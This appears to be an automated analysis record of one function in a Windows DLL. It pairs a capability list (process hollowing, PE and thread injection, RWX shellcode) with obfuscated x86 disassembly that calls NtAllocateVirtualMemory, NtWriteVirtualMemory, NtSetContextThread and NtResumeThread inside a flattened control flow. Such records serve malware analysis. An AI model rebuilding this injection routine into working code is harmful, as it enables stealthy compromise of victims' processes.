Function at 0x10009370
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Hide graphical window
Inject pe
Inject thread
Parse pe header
Resume thread
Spawn thread to rwx shellcode
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x148
mov eax, dword [0x1006ec04]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x1006fe88]
mov eax, dword [0x1006fe84]
mov edx, ecx
sub edx, 0xdfa9669
sub edx, 1
add edx, 0xdfa9669
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0x14a], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0x149], al
mov dword [ebp - 0x150], 0x6bdd8567
mov eax, dword [ebp - 0x150]
mov dword [ebp - 0x154], eax
sub eax, 0x802e007d
je 0x1000c217
jmp 0x100093eb
mov eax, dword [ebp - 0x154]
sub eax, 0x8059e756
je 0x1000b3d8
jmp 0x10009401
mov eax, dword [ebp - 0x154]
sub eax, 0x82c3c848
je 0x10010337
jmp 0x10009417
mov eax, dword [ebp - 0x154]
sub eax, 0x848e0c21
je 0x1000e44d
jmp 0x1000942d
mov eax, dword [ebp - 0x154]
sub eax, 0x8496b4ad
je 0x1000fa08
jmp 0x10009443
mov eax, dword [ebp - 0x154]
sub eax, 0x84b1e1a2
je 0x1000f63e
jmp 0x10009459
mov eax, dword [ebp - 0x154]
sub eax, 0x87050541
je 0x1000c64d
jmp 0x1000946f
mov eax, dword [ebp - 0x154]
sub eax, 0x8711f512
je 0x1000e66b
jmp 0x10009485
mov eax, dword [ebp - 0x154]
sub eax, 0x8768c848
je 0x1000c160
jmp 0x1000949b
mov eax, dword [ebp - 0x154]
sub eax, 0x87d8de34
je 0x1000cd86
jmp 0x100094b1
mov eax, dword [ebp - 0x154]
sub eax, 0x89cdac65
je 0x1000c9c4
jmp 0x100094c7
mov eax, dword [ebp - 0x154]
sub eax, 0x8a389c3e
je 0x1000ed89
jmp 0x100094dd
mov eax, dword [ebp - 0x154]
sub eax, 0x8a56af24
je 0x1000e4d2
jmp 0x100094f3
mov eax, dword [ebp - 0x154]
sub eax, 0x8a61ea59
je 0x1000f13d
jmp 0x10009509
mov eax, dword [ebp - 0x154]
sub eax, 0x8a6bb633
je 0x1000f26b
jmp 0x1000951f
mov eax, dword [ebp - 0x154]
sub eax, 0x8adc4a19
je 0x1000d9ce
jmp 0x10009535
mov eax, dword [ebp - 0x154]
sub eax, 0x8b249480
je 0x1000dbc7
jmp 0x1000954b
mov eax, dword [ebp - 0x154]
sub eax, 0x8b768aa9
je 0x1000eeb4
jmp 0x10009561
mov eax, dword [ebp - 0x154]
sub eax, 0x9082b6fb
je 0x1000daab
jmp 0x10009577
mov eax, dword [ebp - 0x154]
sub eax, 0x910041bd
je 0x1000c552
jmp 0x1000958d
mov eax, dword [ebp - 0x154]
sub eax, 0x911b81a7
je 0x1000f6c3
jmp 0x100095a3
mov eax, dword [ebp - 0x154]
sub eax, 0x92ab845c
je 0x1000c0e1
jmp 0x100095b9
mov eax, dword [ebp - 0x154]
sub eax, 0x93020141
je 0x10010155
jmp 0x100095cf
mov eax, dword [ebp - 0x154]
sub eax, 0x93e0ac31
je 0x1000e0db
jmp 0x100095e5
mov eax, dword [ebp - 0x154]
sub eax, 0x93ee0979
je 0x1000c0f0
jmp 0x100095fb
mov eax, dword [ebp - 0x154]
sub eax, 0x94a4e3d1
je 0x1000d948
jmp 0x10009611
mov eax, dword [ebp - 0x154]
sub eax, 0x95b37f06
je 0x1000bfe9
jmp 0x10009627
mov eax, dword [ebp - 0x154]
sub eax, 0x985d03ca
je 0x100102fe
jmp 0x1000963d
mov eax, dword [ebp - 0x154]
sub eax, 0x993e0515
je 0x1000d059
jmp 0x10009653
mov eax, dword [ebp - 0x154]
sub eax, 0x99dace93
je 0x1000c4eb
jmp 0x10009669
mov eax, dword [ebp - 0x154]
sub eax, 0x9aa23c6c
je 0x1000cbfe
jmp 0x1000967f
mov eax, dword [ebp - 0x154]
sub eax, 0x9ab1fd88
je 0x100102e0
jmp 0x10009695
mov eax, dword [ebp - 0x154]
sub eax, 0x9af8fc02
je 0x1000fddd
jmp 0x100096ab
mov eax, dword [ebp - 0x154]
sub eax, 0x9b34fbae
je 0x1000e7e1
jmp 0x100096c1
mov eax, dword [ebp - 0x154]
sub eax, 0x9d12c7f2
je 0x1000f917
jmp 0x100096d7
mov eax, dword [ebp - 0x154]
sub eax, 0x9d1d98f3
je 0x1000f856
jmp 0x100096ed
mov eax, dword [ebp - 0x154]
sub eax, 0x9d3d8dbd
je 0x1000f348
jmp 0x10009703
mov eax, dword [ebp - 0x154]
sub eax, 0x9e0094a6
je 0x1000ded8
jmp 0x10009719
mov eax, dword [ebp - 0x154]
sub eax, 0x9ed6912b
je 0x1000f64d
jmp 0x1000972f
mov eax, dword [ebp - 0x154]
sub eax, 0x9f351a0a
je 0x1000d145
jmp 0x10009745
mov eax, dword [ebp - 0x154]
sub eax, 0xa02917d6
je 0x1000bd16
jmp 0x1000975b
mov eax, dword [ebp - 0x154]
sub eax, 0xa13bed7d
je 0x1000b7bf
jmp 0x10009771
mov eax, dword [ebp - 0x154]
sub eax, 0xa3a1c7bf
je 0x1000fab0
jmp 0x10009787
mov eax, dword [ebp - 0x154]
sub eax, 0xa3bc23b1
je 0x1000df94
jmp 0x1000979d
mov eax, dword [ebp - 0x154]
sub eax, 0xa590cfd6
je 0x1000e56c
jmp 0x100097b3
mov eax, dword [ebp - 0x154]
sub eax, 0xa5f9bd08
je 0x1000e8ff
jmp 0x100097c9
mov eax, dword [ebp - 0x154]
sub eax, 0xa76aa0e5
je 0x1000cfab
jmp 0x100097df
mov eax, dword [ebp - 0x154]
sub eax, 0xa7ef73e0
je 0x100103f7
jmp 0x100097f5
mov eax, dword [ebp - 0x154]
sub eax, 0xa825b2f2
je 0x1000da8d
jmp 0x1000980b
mov eax, dword [ebp - 0x154]
sub eax, 0xaa508430
je 0x1001023c
jmp 0x10009821
mov eax, dword [ebp - 0x154]
sub eax, 0xaa810588
je 0x1000c529
jmp 0x10009837
mov eax, dword [ebp - 0x154]
sub eax, 0xaa8c027e
je 0x1000c05f
jmp 0x1000984d
mov eax, dword [ebp - 0x154]
sub eax, 0xaacf2f2a
je 0x1000faa1
jmp 0x10009863
mov eax, dword [ebp - 0x154]
sub eax, 0xabf716f8
je 0x1000f213
jmp 0x10009879
mov eax, dword [ebp - 0x154]
sub eax, 0xac54c634
je 0x100104c2
jmp 0x1000988f
mov eax, dword [ebp - 0x154]
sub eax, 0xac62d79f
je 0x10010346
jmp 0x100098a5
mov eax, dword [ebp - 0x154]
sub eax, 0xacb8e146
je 0x1000bd74
jmp 0x100098bb
mov eax, dword [ebp - 0x154]
sub eax, 0xaccfdb40
je 0x1000ff5c
jmp 0x100098d1
mov eax, dword [ebp - 0x154]
sub eax, 0xad164e64
je 0x1000afef
jmp 0x100098e7
mov eax, dword [ebp - 0x154]
sub eax, 0xad9abc8a
je 0x1000f992
jmp 0x100098fd
mov eax, dword [ebp - 0x154]
sub eax, 0xaf720d07
je 0x100104e3
jmp 0x10009913
mov eax, dword [ebp - 0x154]
sub eax, 0xb17d15b8
je 0x1000c83f
jmp 0x10009929
mov eax, dword [ebp - 0x154]
sub eax, 0xb2511884
je 0x1000eea5
jmp 0x1000993f
mov eax, dword [ebp - 0x154]
sub eax, 0xb2e47f97
je 0x1000e3be
jmp 0x10009955
mov eax, dword [ebp - 0x154]
sub eax, 0xb427c57e
je 0x1000b7b0
mov eax, dword [0x1006fe88]
mov ecx, dword [0x1006fe84]
mov edx, eax
add edx, 0x2e871368
sub edx, 1
sub edx, 0x2e871368
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x73dd049
mov ecx, 0x174297e8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x10010508
mov eax, dword [ebp - 0x144]
mov eax, dword [eax]
mov ecx, dword [eax + 0x3c]
mov eax, dword [ebp - 0xcc]
add eax, 0xd723b6e
add eax, ecx
sub eax, 0xd723b6e
mov dword [ebp - 0xc8], eax
mov ecx, dword [0x1006fe88]
mov eax, dword [0x1006fe84]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xf669e920
mov ecx, 0xe1d095cc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x10010508
mov ecx, dword [0x1006fe88]
mov eax, dword [0x1006fe84]
mov edx, ecx
add edx, 0x697baceb
sub edx, 1
sub edx, 0x697baceb
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xaccfdb40
mov ecx, 0xf0fe3269
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x10010508
mov dl, byte [ebp - 0xaa]
mov eax, 0x8b768aa9
mov ecx, 0xc77bac
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x10010508
mov eax, dword [0x1006fe88]
mov ecx, dword [0x1006fe84]
mov edx, eax
add edx, 0xae2eed53
sub edx, 1
sub edx, 0xae2eed53
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd14ee5f4
mov ecx, 0xfc057ac1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x10010508
mov ecx, dword [0x1006fe88]
mov eax, dword [0x1006fe84]
mov edx, ecx
sub edx, 0xc572c3fc
sub edx, 1
add edx, 0xc572c3fc
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x82a9acd
mov ecx, 0xaa8c027e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x10010508
mov eax, dword [ebp - 0x124]
mov dword [eax], 0
mov ecx, dword [0x1006fe88]
mov eax, dword [0x1006fe84]
mov edx, ecx
add edx, 0x58c412bd
sub edx, 1
sub edx, 0x58c412bd
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x82a9acd
mov ecx, 0x92ab845c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x10010508
mov dword [ebp - 0x150], 0x93ee0979
jmp 0x10010508
mov eax, dword [ebp - 0x138]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x124]
mov eax, dword [ebp - 0x120]
xor esi, esi
sub esp, 0x18
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0x3000
mov dword [esp + 0x14], 0x40
call sub.ntdll.dll_NtAllocateVirtualMemory
mov dword [ebp - 0x150], 0x4e1b64ef
jmp 0x10010508
mov eax, dword [ebp - 0x148]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x124]
mov edx, dword [eax]
mov eax, dword [ebp - 0x138]
mov esi, dword [eax]
mov eax, dword [ebp - 0xa4]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov eax, dword [ebp - 0x148]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x144]
mov eax, dword [eax]
add ecx, dword [eax + 0x3c]
add ecx, 4
add ecx, 0x14
mov eax, dword [ebp - 0x140]
mov eax, dword [eax]
movzx eax, word [eax + 0x14]
add ecx, eax
mov eax, dword [ebp - 0x114]
mov dword [eax], ecx
mov eax, dword [ebp - 0x110]
mov dword [eax], 0
mov dword [ebp - 0x150], 0x78ddc0fa
jmp 0x10010508
mov eax, dword [ebp - 0x9c]
movzx esi, word [eax + 2]
mov edx, dword [ebp - 0xa0]
mov eax, 0x47bced0a
mov ecx, 0x52cb38a5
cmp edx, esi
cmovl eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x10010508
mov dword [ebp - 0x150], 0x78ddc0fa
jmp 0x10010508
mov eax, dword [ebp - 0x108]
mov ecx, dword [ebp - 0x8c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x104]
mov dword [eax], 0
mov dword [ebp - 0x150], 0x910041bd
jmp 0x10010508
mov eax, dword [ebp - 0x104]
mov eax, dword [eax]
mov dword [ebp - 0x88], eax
mov dword [ebp - 0x150], 0x39d5cd18
jmp 0x10010508
mov dl, byte [ebp - 0x82]
mov eax, 0xd96dcffb
mov ecx, 0x10742020
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x10010508
mov dword [ebp - 0x150], 0xc4c0ebf7
jmp 0x10010508
mov ecx, dword [0x1006fe88]
mov eax, dword [0x1006fe84]
mov edx, ecx
add edx, 0xcb07593d
sub edx, 1
sub edx, 0xcb07593d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xda2e83cc
mov ecx, 0x373d1afc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x10010508
mov dword [ebp - 0x150], 0x1d296ea0
jmp 0x10010508
mov dword [ebp - 0x150], 0x30c7186e
jmp 0x10010508
mov eax, dword [ebp - 0x11c]
mov eax, dword [eax]
mov dword [ebp - 0x74], eax
mov ecx, dword [0x1006fe88]
mov eax, dword [0x1006fe84]
mov edx, ecx
sub edx, 0xe1c4d591
sub edx, 1
add edx, 0xe1c4d591
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xf80ee920
mov ecx, 0x2297f62a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x10010508
mov ecx, dword [0x1006fe88]
mov eax, dword [0x1006fe84]
mov edx, ecx
add edx, 0x9f8adf7f
sub edx, 1
sub edx, 0x9f8adf7f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x1d239e11
mov ecx, 0x440dc231
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x10010508
mov eax, dword [0x1006fe88]
mov ecx, dword [0x1006fe84]
mov edx, eax
add edx, 0x9cf477b0
sub edx, 1
sub edx, 0x9cf477b0
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x37a1c456
mov ecx, 0xdacdee4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x10010508
mov eax, dword [ebp - 0x60]
mov ecx, dword [ebp - 0x5c]
cmp eax, ecx
setb al
and al, 1
mov byte [ebp - 0x55], al
mov ecx, dword [0x1006fe88]
mov eax, dword [0x1006fe84]
mov edx, ecx
sub edx, 0x862f97b
sub edx, 1
add edx, 0x862f97b
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xb838ebf7
mov ecx, 0x8adc4a19
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x10010508
mov ecx, dword [0x1006fe88]
mov eax, dword [0x1006fe84]
mov edx, ecx
sub edx, 0xe8f4a7c2
sub edx, 1
add edx, 0xe8f4a7c2
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x73cc7486
mov ecx, 0x874b809
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x10010508
mov dl, byte [ebp - 0x55]
mov eax, 0x1b4af4de
mov ecx, 0x9082b6fb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x10010508
mov eax, dword [0x1006fe88]
mov ecx, dword [0x1006fe84]
mov edx, eax
sub edx, 0x5f11c0fb
sub edx, 1
add edx, 0x5f11c0fb
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5416990f
mov ecx, 0xf1badb9d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x10010508
mov ecx, dword [0x1006fe88]
mov eax, dword [0x1006fe84]
mov edx, ecx
add edx, 0xaac251fc
sub edx, 1
sub edx, 0xaac251fc
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x68ad0e01
mov ecx, 0x12352729
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x10010508
mov eax, dword [0x1006fe88]
mov ecx, dword [0x1006fe84]
mov edx, eax
sub edx, 0xaaef2d3e
sub edx, 1
add edx, 0xaaef2d3e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xad9abc8a
mov ecx, 0x648d931
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x10010508
mov ecx, dword [0x1006fe88]
mov eax, dword [0x1006fe84]
mov edx, ecx
add edx, 0x33a032c0
sub edx, 1
sub edx, 0x33a032c0
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xaa508430
mov ecx, 0x38bb7913
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x10010508
mov eax, dword [ebp - 0x3c]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x40]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x10c]
mov dword [eax], ecx
mov ecx, dword [0x1006fe88]
mov eax, dword [0x1006fe84]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x455a4055
mov ecx, 0x19a5cf1a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x10010508
mov eax, dword [ebp - 0x148]
mov eax, dword [eax]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x140]
mov eax, dword [eax]
add eax, 0x18
mov dword [ebp - 0x30], eax
mov ecx, dword [0x1006fe88]
mov eax, dword [0x1006fe84]
mov edx, ecx
add edx, 0x4aba84d6
sub edx, 1
sub edx, 0x4aba84d6
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xbc4158a8
mov ecx, 0x848e0c21
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x10010508
mov ecx, dword [0x1006fe88]
mov eax, dword [0x1006fe84]
mov edx, ecx
add edx, 0xc02e27b9
sub edx, 1
sub edx, 0xc02e27b9
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x617ea688
mov ecx, 0x3d1d9595
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x10010508
mov eax, dword [0x1006fe88]
mov ecx, dword [0x1006fe84]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6884c056
mov ecx, 0xd664bc80
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x10010508
mov eax, dword [ebp - 0x30]
mov eax, dword [eax + 0xa8]
mov ecx, dword [ebp - 0x34]
add ecx, eax
mov eax, dword [ebp - 0xe4]
mov dword [eax], ecx
mov eax, dword [ebp - 0xe4]
mov eax, dword [eax]
mov ecx, dword [eax + 0xc]
mov eax, dword [ebp - 0xe0]
mov dword [eax], ecx
mov ecx, dword [0x1006fe88]
mov eax, dword [0x1006fe84]
mov edx, ecx
sub edx, 0x36213337
sub edx, 1
add edx, 0x36213337
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x33f6a895
mov ecx, 0xf5bfe69e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x10010508
mov ecx, dword [0x1006fe88]
mov eax, dword [0x1006fe84]
mov edx, ecx
sub edx, 0x53124143
sub edx, 1
add edx, 0x53124143
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xd64178e
mov ecx, 0x39bd47ff
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x10010508
mov ecx, dword [0x1006fe88]
mov eax, dword [0x1006fe84]
mov edx, ecx
sub edx, 0xc376387b
sub edx, 1
add edx, 0xc376387b
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x6693231b
mov ecx, 0x2bf9b899
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x10010508
mov dl, byte [ebp - 0x25]
mov eax, 0x650f9a1e
mov ecx, 0xd164e251
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x10010508
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
mov dword [eax], ecx
mov eax, dword [ebp - 0x13c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x138]
mov ecx, dword [ecx + 4]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call sub.ntdll.dll_NtSetContextThread
mov eax, dword [ebp - 0x138]
mov eax, dword [eax + 4]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call sub.ntdll.dll_NtResumeThread
mov dword [ebp - 0x150], 0xa52b0f3
jmp 0x10010508
mov dword [ebp - 0x150], 0x8b768aa9
jmp 0x10010508
mov eax, dword [0x1006fe88]
mov ecx, dword [0x1006fe84]
mov edx, eax
add edx, 0x72ee3958
sub edx, 1
sub edx, 0x72ee3958
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x985d03ca
mov ecx, 0xbc701bf3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x10010508
mov eax, dword [0x1006fe88]
mov ecx, dword [0x1006fe84]
mov edx, eax
add edx, 0x340b9849
sub edx, 1
sub edx, 0x340b9849
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x82c3c848
mov ecx, 0xd9fa4582
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x10010508
mov eax, dword [ebp - 0x14]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [0x1006fe88]
mov ecx, dword [0x1006fe84]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xac62d79f
mov ecx, 0x8a6bb633
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x10010508
mov dword [ebp - 0x150], 0xf74b45f8
jmp 0x10010508
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100117a0
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov dword [ebp - 0x150], 0xd728ed41
jmp 0x10010508
mov ecx, dword [0x1006fe88]
mov eax, dword [0x1006fe84]
mov edx, ecx
add edx, 0xaf8734ea
sub edx, 1
sub edx, 0xaf8734ea
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xdc0750d1
mov ecx, 0x911b81a7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x10010508
mov eax, dword [ebp - 0x140]
